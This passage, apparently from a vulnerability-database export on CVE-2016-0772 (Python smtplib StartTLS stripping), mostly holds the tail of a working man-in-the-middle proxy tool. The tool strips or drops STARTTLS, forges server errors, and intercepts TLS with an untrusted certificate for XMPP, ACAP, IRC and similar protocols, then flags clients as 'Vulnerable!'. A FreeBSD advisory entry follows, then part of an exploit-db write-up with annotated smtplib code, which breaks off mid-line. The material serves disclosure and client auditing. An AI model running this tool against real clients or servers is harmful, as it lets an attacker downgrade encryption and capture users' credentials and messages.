mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n # do inbound STARTTLS\n session.inbound.sendall(\"382 Continue with TLS negotiation\\r\\n\")\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"382 Continue with TLS negotiation\\r\\n\")))\n context = Vectors.GENERIC.Intercept.create_ssl_context()\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \n keyfile=Vectors._TLS_KEYFILE)\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\n # outbound ssl\n \n session.outbound.sendall(data)\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\n resp_data = session.outbound.recv_blocked()\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\n if not resp_data.startswith(\"382\"):\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\n \n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\n session.outbound.ssl_wrap_socket()\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\n \n data=None\n elif \"GROUP \" in data:\n rewrite.set_result(session, True)\n return data\n \n class XMPP:\n _PROTO_ID = 5222\n class StripFromCapabilities:\n ''' 1) Force Server response to *NOT* announce STARTTLS support\n 2) raise exception if client tries to negotiated STARTTLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if \"<starttls\" in data:\n start = data.index(\"<starttls\")\n end = data.index(\"</starttls>\",start)+len(\"</starttls>\")\n data = data[:start] + data[end:] # strip starttls from capabilities\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"<starttls\" in data:\n # do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\n #<failure/> or <proceed/>\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\n #session.inbound.sendall(\"<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\") # fake respone\n #data=None\n elif any(c in data.lower() for c in (\"</auth>\",\"<query\",\"<iq\",\"<username\")):\n rewrite.set_result(session, True)\n return data \n\n class StripInboundTLS:\n ''' 1) Force Server response to *NOT* announce STARTTLS support\n 2) If starttls is required outbound, leave inbound connection plain - outbound starttls\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if \"<starttls\" in data:\n start = data.index(\"<starttls\")\n end = data.index(\"</starttls>\",start)+len(\"</starttls>\")\n starttls_args = data[start:end]\n data = data[:start] + data[end:] # strip inbound starttls\n if \"required\" in starttls_args:\n # do outbound starttls as required by server\n session.outbound.sendall(\"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")\n logger.debug(\"%s [client] => [server][mangled] %s\"%(session,repr(\"<starttls xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")))\n resp_data = session.outbound.recv_blocked()\n if not resp_data.startswith(\"<proceed \"):\n raise ProtocolViolationException(\"whoop!? server announced STARTTLS *required* but fails to proceed. proto violation: %s\"%repr(resp_data))\n\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\n session.outbound.ssl_wrap_socket()\n\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"<starttls\" in data:\n # do not respond with <proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\n #<failure/> or <proceed/>\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\n #session.inbound.sendall(\"<success xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\") # fake respone\n #data=None\n elif any(c in data.lower() for c in (\"</auth>\",\"<query\",\"<iq\",\"<username\")):\n rewrite.set_result(session, True)\n return data\n\n class UntrustedIntercept:\n ''' 1) Do not mangle server data\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\n in case client does not check keys\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"<starttls \" in data:\n # do inbound STARTTLS\n session.inbound.sendall(\"<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\"<proceed xmlns='urn:ietf:params:xml:ns:xmpp-tls'/>\")))\n context = Vectors.GENERIC.Intercept.create_ssl_context()\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE,\n keyfile=Vectors._TLS_KEYFILE)\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\n # outbound ssl\n\n session.outbound.sendall(data)\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\n resp_data = session.outbound.recv_blocked()\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\n if not resp_data.startswith(\"<proceed \"):\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\n\n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\n session.outbound.ssl_wrap_socket()\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\n\n data=None\n elif \"</auth>\" in data:\n rewrite.set_result(session, True)\n return data\n\n class ACAP:\n #rfc2244, rfc2595\n _PROTO_ID = 675\n _REX_CAP = re.compile(r\"\\(([^\\)]+)\\)\")\n class StripFromCapabilities:\n ''' 1) Force Server response to *NOT* announce STARTTLS support\n 2) raise exception if client tries to negotiated STARTTLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if all(kw in data for kw in (\"ACAP\",\"STARTTLS\")):\n features = Vectors.ACAP._REX_CAP.findall(data) # features w/o parentheses\n data = ' '.join(\"(%s)\"%f for f in features if not \"STARTTLS\" in f)\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \" STARTTLS\" in data:\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\n elif \" AUTHENTICATE \" in data: \n rewrite.set_result(session, True)\n return data\n \n class StripWithError:\n ''' 1) force server error on client sending STARTTLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \" STARTTLS\" in data:\n id = data.split(' ',1)[0].strip()\n session.inbound.sendall('%s BAD \"command unknown or arguments invalid\"'%id) # or 580 Can not initiate TLS negotiation\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr('%s BAD \"command unknown or arguments invalid\"'%id)))\n data=None\n elif \" AUTHENTICATE \" in data:\n rewrite.set_result(session, True)\n return data\n \n class UntrustedIntercept:\n ''' 1) Do not mangle server data\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\n in case client does not check keys\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \" STARTTLS\" in data:\n # do inbound STARTTLS\n id = data.split(' ',1)[0].strip()\n session.inbound.sendall('%s OK \"Begin TLS negotiation now\"'%id)\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr('%s OK \"Begin TLS negotiation now\"'%id)))\n context = Vectors.GENERIC.Intercept.create_ssl_context()\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \n keyfile=Vectors._TLS_KEYFILE)\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\n # outbound ssl\n \n session.outbound.sendall(data)\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\n resp_data = session.outbound.recv_blocked()\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\n if not \" OK \" in resp_data:\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\n \n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\n session.outbound.ssl_wrap_socket()\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\n \n data=None\n elif \" AUTHENTICATE \" in data:\n rewrite.set_result(session, True)\n return data\n\n class IRC:\n #rfc2244, rfc2595\n _PROTO_ID = 6667\n _REX_CAP = re.compile(r\"\\(([^\\)]+)\\)\")\n _IDENT_PORT = 113\n class StripFromCapabilities:\n ''' 1) Force Server response to *NOT* announce STARTTLS support\n 2) raise exception if client tries to negotiated STARTTLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if all(kw.lower() in data.lower() for kw in (\" cap \",\" tls\")):\n mangled = []\n for line in data.split(\"\\n\"):\n if all(kw.lower() in line.lower() for kw in (\" cap \",\" tls\")):\n # can be CAP LS or CAP ACK/NACK\n if \" ack \" in data.lower():\n line = line.replace(\"ACK\",\"NAK\").replace(\"ack\",\"nak\")\n else: #ls\n features = line.split(\" \")\n line = ' '.join(f for f in features if not 'tls' in f.lower())\n mangled.append(line)\n data = \"\\n\".join(mangled)\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\n rewrite.set_result(session, True)\n return \n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(data))\n #elif all(kw.lower() in data.lower() for kw in (\"cap req\",\"tls\")):\n # # mangle CAPABILITY REQUEST\n # if \":\" in data:\n # cmd, caps = data.split(\":\")\n # caps = (c for c in caps.split(\" \") if not \"tls\" in c.lower())\n # data=\"%s:%s\"%(cmd,' '.join(caps))\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\n rewrite.set_result(session, True)\n return data\n \n class StripWithError:\n ''' 1) force server error on client sending STARTTLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\n rewrite.set_result(session, True)\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n params = {'srv':'this.server.com',\n 'nickname': '*',\n 'cmd': 'STARTTLS'\n }\n # if we're lucky we can extract the username from a prev. server line\n prev_response = session.outbound.recvbuf.strip()\n if prev_response: \n fields = prev_response.split(\" \")\n try:\n params['srv'] = fields[0]\n params['nickname'] = fields[2]\n except IndexError:\n pass\n session.inbound.sendall(\"%(srv)s 691 %(nickname)s :%(cmd)s\\r\\n\"%params)\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%(srv)s 691 %(nickname)s :%(cmd)s\\r\\n\"%params)))\n data=None\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\n rewrite.set_result(session, True)\n return data\n \n class StripWithNotRegistered:\n ''' 1) force server wrong state on client sending STARTTLS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\n rewrite.set_result(session, True)\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n params = {'srv':'this.server.com',\n 'nickname': '*',\n 'cmd': 'You have not registered'\n }\n # if we're lucky we can extract the username from a prev. server line\n prev_response = session.outbound.recvbuf.strip()\n if prev_response: \n fields = prev_response.split(\" \")\n try:\n params['srv'] = fields[0]\n params['nickname'] = fields[2]\n except IndexError:\n pass\n session.inbound.sendall(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)))\n data=None\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\n rewrite.set_result(session, True)\n return data\n \n class StripCAPWithNotRegistered:\n ''' 1) force server wrong state on client sending CAP LS\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\n rewrite.set_result(session, True)\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"CAP LS\" in data:\n params = {'srv':'this.server.com',\n 'nickname': '*',\n 'cmd': 'You have not registered'\n }\n # if we're lucky we can extract the username from a prev. server line\n prev_response = session.outbound.recvbuf.strip()\n if prev_response: \n fields = prev_response.split(\" \")\n try:\n params['srv'] = fields[0]\n params['nickname'] = fields[2]\n except IndexError:\n pass\n session.inbound.sendall(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(\"%(srv)s 451 %(nickname)s :%(cmd)s\\r\\n\"%params)))\n data=None\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\n rewrite.set_result(session, True)\n return data\n \n class StripWithSilentDrop:\n ''' 1) silently drop starttls command\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\n rewrite.set_result(session, True)\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n data=None\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\n rewrite.set_result(session, True)\n return data\n \n class UntrustedIntercept:\n ''' 1) Do not mangle server data\n 2) intercept client STARTLS, negotiated ssl_context with client and one with server, untrusted.\n in case client does not check keys\n '''\n @staticmethod\n def mangle_server_data(session, data, rewrite):\n if \" ident \" in data.lower():\n #TODO: proxy ident\n pass\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\n rewrite.set_result(session, True)\n return data\n @staticmethod\n def mangle_client_data(session, data, rewrite):\n if \"STARTTLS\" in data:\n # do inbound STARTTLS\n params = {'srv':'this.server.com',\n 'nickname': '*',\n 'cmd': 'STARTTLS'\n }\n # if we're lucky we can extract the username from a prev. server line\n prev_response = session.outbound.recvbuf.strip()\n if prev_response: \n fields = prev_response.split(\" \")\n try:\n params['srv'] = fields[0]\n params['nickname'] = fields[2]\n except IndexError:\n pass\n session.inbound.sendall(\":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\\r\\n\"%params)\n logger.debug(\"%s [client] <= [ ][mangled] %s\"%(session,repr(\":%(srv)s 670 %(nickname)s :STARTTLS successful, go ahead with TLS handshake\\r\\n\"%params)))\n context = Vectors.GENERIC.Intercept.create_ssl_context()\n context.load_cert_chain(certfile=Vectors._TLS_CERTFILE, \n keyfile=Vectors._TLS_KEYFILE)\n logger.debug(\"%s [client] <= [ ][mangled] waiting for inbound SSL handshake\"%(session))\n session.inbound.ssl_wrap_socket_with_context(context, server_side=True)\n logger.debug(\"%s [client] <> [ ] SSL handshake done: %s\"%(session, session.inbound.socket_ssl.cipher()))\n # outbound ssl\n \n session.outbound.sendall(data)\n logger.debug(\"%s [ ] => [server][mangled] %s\"%(session,repr(data)))\n resp_data = session.outbound.recv_blocked()\n logger.debug(\"%s [ ] <= [server][mangled] %s\"%(session,repr(resp_data)))\n if not \" 670 \" in resp_data:\n raise ProtocolViolationException(\"whoop!? client sent STARTTLS even though we did not announce it.. proto violation: %s\"%repr(resp_data))\n \n logger.debug(\"%s [ ] => [server][mangled] performing outbound SSL handshake\"%(session))\n session.outbound.ssl_wrap_socket()\n logger.debug(\"%s [ ] <> [server] SSL handshake done: %s\"%(session, session.outbound.socket_ssl.cipher()))\n \n data=None\n elif any(kw.lower() in data.lower() for kw in ('authenticate ','privmsg ', 'protoctl ')):\n rewrite.set_result(session, True)\n return data\n\n\nclass RewriteDispatcher(object):\n def __init__(self, generic_tls_intercept=False):\n self.vectors = {} # proto:[vectors]\n self.results = [] # [ {session,client_ip,mangle,result}, }\n self.session_to_mangle = {} # session:mangle\n self.generic_tls_intercept = generic_tls_intercept\n \n def __repr__(self):\n return \"<RewriteDispatcher ssl/tls_intercept=%s vectors=%s>\"%(self.generic_tls_intercept, repr(self.vectors))\n \n def get_results(self):\n return self.results\n \n def get_results_by_clients(self):\n results = {} #client:{mangle:result}\n for r in self.get_results():\n client = r['client']\n results.setdefault(client,[])\n mangle = r['mangle']\n result = r['result']\n results[client].append((mangle,result))\n return results\n \n def get_result(self, session):\n for r in self.get_results():\n if r['session']==session:\n return r\n return None\n \n def set_result(self, session, value):\n r = self.get_result(session)\n r['result'] = value\n \n def add(self, proto, attack):\n self.vectors.setdefault(proto,set([]))\n self.vectors[proto].add(attack)\n \n def get_mangle(self, session):\n ''' smart select mangle\n return same mangle for same session\n return different for different session\n try to use all mangles for same client-ip\n '''\n # 1) session already has a mangle associated to it\n mangle = self.session_to_mangle.get(session)\n if mangle:\n return mangle\n # 2) pick new mangle (round-robin) per client\n # \n client_ip = session.inbound.peer[0]\n client_mangle_history = [r for r in self.get_results() if r['client']==client_ip]\n \n all_mangles = list(self.get_mangles(session.protocol.protocol_id))\n if not all_mangles:\n return None\n new_index = 0\n if client_mangle_history:\n previous_result = client_mangle_history[-1]\n new_index = (all_mangles.index(previous_result['mangle'])+1) % len(all_mangles)\n mangle = all_mangles[new_index]\n \n self.results.append({'client':client_ip,\n 'session':session,\n 'mangle':mangle,\n 'result':None}) \n \n #mangle = iter(self.get_mangles(session.protocol.protocol_id)).next()\n logger.debug(\"<RewriteDispatcher - changed mangle: %s new: %s>\"%(mangle,\"False\" if len(client_mangle_history)>len(all_mangles) else \"True\"))\n self.session_to_mangle[session] = mangle\n return mangle\n \n def get_mangles(self, proto):\n m = self.vectors.get(proto,set([]))\n m.update(self.vectors.get(None,[]))\n return m\n \n def mangle_server_data(self, session, data):\n data_orig = data\n logger.debug(\"%s [client] <= [server] %s\"%(session,repr(data)))\n if self.get_mangle(session):\n data = self.get_mangle(session).mangle_server_data(session, data, self)\n if data!=data_orig:\n logger.debug(\"%s [client] <= [server][mangled] %s\"%(session,repr(data)))\n return data\n\n def mangle_client_data(self, session, data):\n data_orig = data\n logger.debug(\"%s [client] => [server] %s\"%(session,repr(data)))\n if self.get_mangle(session):\n #TODO: just use the first one for now\n data = self.get_mangle(session).mangle_client_data(session, data, self)\n if data!=data_orig:\n logger.debug(\"%s [client] => [server][mangled] %s\"%(session,repr(data)))\n return data\n \n def on_recv_peek(self, s_in, session):\n if self.generic_tls_intercept:\n # forced by cmdline-option\n return Vectors.GENERIC.Intercept.on_recv_peek(session, s_in)\n elif hasattr(self.get_mangle(session), \"on_recv_peek\"):\n return self.get_mangle(session).on_recv_peek(session, s_in)\n \ndef main():\n from optparse import OptionParser\n ret = 0\n usage = \"\"\"usage: %prog [options]\n \n example: %prog --listen 0.0.0.0:25 --remote mail.server.tld:25 \n \"\"\"\n parser = OptionParser(usage=usage)\n parser.add_option(\"-q\", \"--quiet\",\n action=\"store_false\", dest=\"verbose\", default=True,\n help=\"be quiet [default: %default]\")\n parser.add_option(\"-l\", \"--listen\", dest=\"listen\", help=\"listen ip:port [default: 0.0.0.0:<remote_port>]\")\n parser.add_option(\"-r\", \"--remote\", dest=\"remote\", help=\"remote target ip:port to forward sessions to\")\n parser.add_option(\"-k\", \"--key\", dest=\"key\", default=\"server.pem\", help=\"SSL Certificate and Private key file to use, PEM format assumed [default: %default]\")\n parser.add_option(\"-s\", \"--generic-ssl-intercept\",\n action=\"store_true\", dest=\"generic_tls_intercept\", default=False,\n help=\"dynamically intercept SSL/TLS\")\n parser.add_option(\"-b\", \"--bufsiz\", dest=\"buffer_size\", type=\"int\", default=4096)\n \n all_vectors = []\n for proto in (v for v in dir(Vectors) if not v.startswith(\"_\")):\n for test in (v for v in dir(getattr(Vectors,proto)) if not v.startswith(\"_\")):\n all_vectors.append(\"%s.%s\"%(proto,test))\n parser.add_option(\"-x\", \"--vectors\",\n default=\"ALL\",\n help=\"Comma separated list of vectors. Use 'ALL' (default) to select all vectors, 'NONE' for tcp/ssl proxy mode. Available vectors: \"+\", \".join(all_vectors)+\"\"\n \" [default: %default]\")\n # parse args\n (options, args) = parser.parse_args()\n # normalize args\n if not options.verbose:\n logger.setLevel(logging.INFO)\n if not options.remote:\n parser.error(\"mandatory option: remote\")\n if \":\" not in options.remote and \":\" in options.listen:\n # no port in remote, but there is one in listen. use this one\n options.remote = (options.remote.strip(), int(options.listen.strip().split(\":\")[1]))\n logger.warning(\"no remote port specified - falling back to %s:%d (listen port)\"%options.remote)\n elif \":\" in options.remote:\n options.remote = options.remote.strip().split(\":\")\n options.remote = (options.remote[0], int(options.remote[1]))\n else:\n parser.error(\"neither remote nor listen is in the format <host>:<port>\")\n if not options.listen:\n logger.warning(\"no listen port specified - falling back to 0.0.0.0:%d (remote port)\"%options.remote[1])\n options.listen = (\"0.0.0.0\",options.remote[1])\n elif \":\" in options.listen:\n options.listen = options.listen.strip().split(\":\")\n options.listen = (options.listen[0], int(options.listen[1]))\n else:\n options.listen = (options.listen.strip(), options.remote[1])\n logger.warning(\"no listen port specified - falling back to %s:%d (remote port)\"%options.listen)\n options.vectors = [o.strip() for o in options.vectors.strip().split(\",\")]\n if 'ALL' in (v.upper() for v in options.vectors):\n options.vectors = all_vectors\n elif 'NONE' in (v.upper() for v in options.vectors):\n options.vectors = []\n Vectors._TLS_CERTFILE = Vectors._TLS_KEYFILE = options.key\n \n # ---- start up engines ----\n prx = ProxyServer(listen=options.listen, target=options.remote, \n buffer_size=options.buffer_size, delay=0.00001)\n logger.info(\"%s ready.\"%prx)\n rewrite = RewriteDispatcher(generic_tls_intercept=options.generic_tls_intercept)\n \n for classname in options.vectors:\n try:\n proto, vector = classname.split('.',1)\n cls_proto = getattr(globals().get(\"Vectors\"),proto)\n cls_vector = getattr(cls_proto, vector)\n rewrite.add(cls_proto._PROTO_ID, cls_vector)\n logger.debug(\"* added vector (port:%-5s, proto:%8s): %s\"%(cls_proto._PROTO_ID, proto, repr(cls_vector)))\n except Exception, e:\n logger.error(\"* error - failed to add: %s\"%classname)\n parser.error(\"invalid vector: %s\"%classname)\n\n logging.info(repr(rewrite))\n prx.set_callback(\"mangle_server_data\", rewrite.mangle_server_data)\n prx.set_callback(\"mangle_client_data\", rewrite.mangle_client_data)\n prx.set_callback(\"on_recv_peek\", rewrite.on_recv_peek)\n try:\n prx.main_loop()\n except KeyboardInterrupt:\n logger.warning( \"Ctrl C - Stopping server\")\n ret+=1\n \n logger.info(\" -- audit results --\")\n for client,resultlist in rewrite.get_results_by_clients().iteritems():\n logger.info(\"[*] client: %s\"%client)\n for mangle, result in resultlist:\n logger.info(\" [%-11s] %s\"%(\"Vulnerable!\" if result else \" \",repr(mangle)))\n \n sys.exit(ret)\n \nif __name__ == '__main__':\n main()", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "freebsd": [{"lastseen": "2019-05-29T18:32:39", "bulletinFamily": "unix", "cvelist": ["CVE-2016-0772"], "description": "\nRed Hat reports:\n\nA vulnerability in smtplib allowing MITM attacker to perform a\n\t startTLS stripping attack. smtplib does not seem to raise an exception\n\t when the remote end (smtp server) is capable of negotiating starttls but\n\t fails to respond with 220 (ok) to an explicit call of SMTP.starttls().\n\t This may allow a malicious MITM to perform a startTLS stripping attack\n\t if the client code does not explicitly check the response code for startTLS.\n\n", "edition": 4, "modified": "2016-06-14T00:00:00", "published": "2016-06-14T00:00:00", "id": "8D5368EF-40FE-11E6-B2EC-B499BAEBFEAF", "href": "https://vuxml.freebsd.org/freebsd/8d5368ef-40fe-11e6-b2ec-b499baebfeaf.html", "title": "Python -- smtplib StartTLS stripping vulnerability", "type": "freebsd", "cvss": {"score": 5.8, "vector": "AV:N/AC:M/Au:N/C:P/I:P/A:N"}}], "exploitdb": [{"lastseen": "2018-01-24T14:19:56", "description": "Python smtplib 2.7.11 / 3.4.4 / 3.5.1 - Man In The Middle StartTLS Stripping. CVE-2016-0772. Local exploit for Multiple platform", "published": "2016-07-03T00:00:00", "type": "exploitdb", "title": "Python smtplib 2.7.11 / 3.4.4 / 3.5.1 - Man In The Middle StartTLS Stripping", "bulletinFamily": "exploit", "cvelist": ["CVE-2016-0772"], "modified": "2016-07-03T00:00:00", "id": "EDB-ID:43500", "href": "https://www.exploit-db.com/exploits/43500/", "sourceData": "VuNote\r\n============\r\n\r\n\tAuthor:\t\t<github.com/tintinweb>\r\n\tVersion: \t0.2\r\n\tDate: \t\tNov 25th, 2015\r\n\t\r\n\tTag:\t\tpython smtplib starttls stripping (mitm)\r\n\r\nOverview\r\n--------\r\n\r\n\tName:\t\t\tpython \r\n\tVendor:\t\t\tpython software foundation\r\n\tReferences:\t\t* https://www.python.org/ [1]\r\n\t\r\n\tVersion:\t\t2.7.11, 3.4.4, 3.5.1\r\n\tLatest Version:\t2.7.11, 3.4.4, 3.5.1 [2]\r\n\tOther Versions:\t2.2 [3] (~14 years ago) <= affected <= 2.7.11\r\n\t\t\t\t\t3.0 [3] (~7 years ago) <= affected <= 3.4.4\r\n\t\t\t\t\t\t\t\t\t\t\t\t\t\t 3.5.1\r\n\tPlatform(s):\tcross\r\n\tTechnology:\t\tc/python\r\n\r\n\tVuln Classes:\tSelection of Less-Secure Algorithm During Negotiation (CWE-757)\r\n\tOrigin:\t\t\tremote/mitm\r\n\tMin. Privs.:\t-\r\n\r\n\tCVE:\t\t\tCVE-2016-0772\r\n\r\n\r\nDescription\r\n---------\r\n\r\nquote wikipedia [4]\r\n\r\n>Python is a widely used high-level, general-purpose, interpreted, dynamic programming language. Its design philosophy emphasizes code readability, and its syntax allows programmers to express concepts in fewer lines of code than would be possible in languages such as C++ or Java.[24][25] The language provides constructs intended to enable clear programs on both a small and large scale.\r\n\r\n\r\nSummary \r\n-------\r\n\r\npython smtplib does not seem to raise an exception when the remote \r\nend (smtp server) is capable of negotiating starttls (as seen in the \r\nresponse to ehlo) but fails to respond with 220 (ok) to an explicit \r\ncall of `SMTP.starttls()`. This may allow a malicious mitm to perform a \r\nstarttls stripping attack if the client code does not explicitly check \r\nthe response code for starttls, which is rarely done as one might \r\nexpect that it raises an exception when starttls negotiation fails \r\n(like when calling starttls on a server that does not support it or \r\nwhen it fails to negotiate tls due to an ssl exception/cipher \r\nmismatch/auth fail).\r\n\r\nQuoting the PSRT with an extended analysis\r\n\r\n> It is a surprising and potential dangerous behavior. It also violates Python's documentation. states that all SMTP commands after starttls() are encrypted. That's clearly not true in case of response != 200. I also had a look how the other stdlib libraries handle starttls problems. nntplib's and imaplib's starttls() method raise an error when the starttls handshake fails.\r\n\r\nChecking on how `smtplib.starttls()` is actually being used by open-source projects underlines that `smtplib.starttls()` is generally expected to throw an exception if the starttls protocol was not executed correctly. Therefore this issue may have an impact on some major projects like Django, web2py. Apart from that the current `smtplib.starttls()` behavior is different to `nntplib.starttls()`, `imaplib.starttls()`\r\n\r\nPoC see [6]\r\npatch attached.\r\n\r\nDetails\r\n------\r\n\r\nThe vulnerable code is located in `lib/smtplib.py` [3] line 646 (2.7 branch) and \r\nfails to raise an exception if `resp!=220`.\r\n\r\nThe documentation [7] suggests that `starttls()` either encrypts all communication\r\nor throws an exception if it was not able to negotiate tls.\r\n\r\n\tSMTP.starttls([keyfile[, certfile]])\r\n\tPut the SMTP connection in TLS (Transport Layer Security) mode. All SMTP commands that follow will be encrypted. You should then call ehlo() again.\r\n\t\r\n\tIf keyfile and certfile are provided, these are passed to the socket module\ufffds ssl() function.\r\n\t\r\n\tIf there has been no previous EHLO or HELO command this session, this method tries ESMTP EHLO first.\r\n\t\r\n\tChanged in version 2.6.\r\n\t\r\n\tSMTPHeloError\r\n\tThe server didn\ufffdt reply properly to the HELO greeting.\r\n\tSMTPException\r\n\tThe server does not support the STARTTLS extension.\r\n\tChanged in version 2.6.\r\n\t\r\n\tRuntimeError\r\n\tSSL/TLS support is not available to your Python interpreter.\r\n\t\r\n\r\nCode `lib/smtplib.py`:\r\n\r\nInline annotations are prefixed with `//#!`\r\n\r\n\t def starttls(self, keyfile=None, certfile=None):\r\n\t \"\"\"Puts the connection to the SMTP server into TLS mode.\r\n\t If there has been no previous EHLO or HELO command this session, this\r\n\t method tries ESMTP EHLO first.\r\n\t If the server supports TLS, this will encrypt the rest of the SMTP\r\n\t session. If you provide the keyfile and certfile parameters,\r\n\t the identity of the SMTP server and client can be checked. This,\r\n\t however, depends on whether the socket module really checks the\r\n\t certificates.\r\n\t This method may raise the following exceptions:\r\n\t SMTPHeloError The server didn't reply properly to\r\n\t the helo greeting.\r\n\t \"\"\"\r\n\t self.ehlo_or_helo_if_needed()\r\n\t if not self.has_extn(\"starttls\"):\r\n\t raise SMTPException(\"STARTTLS extension not supported by server.\")\r\n\t (resp, reply) = self.docmd(\"STARTTLS\")\r\n\t if resp == 220:\t\t\t\t\t\t\t\t\t\t\t\t\t\t//#! with a server not responding 220 it wont even try to negotiate tls\r\n\t if not _have_ssl:\t\t\t\t\t\t\t\t\t\t\t\t//#! silently stays unencrypted\r\n\t raise RuntimeError(\"No SSL support included in this Python\")\r\n\t self.sock = 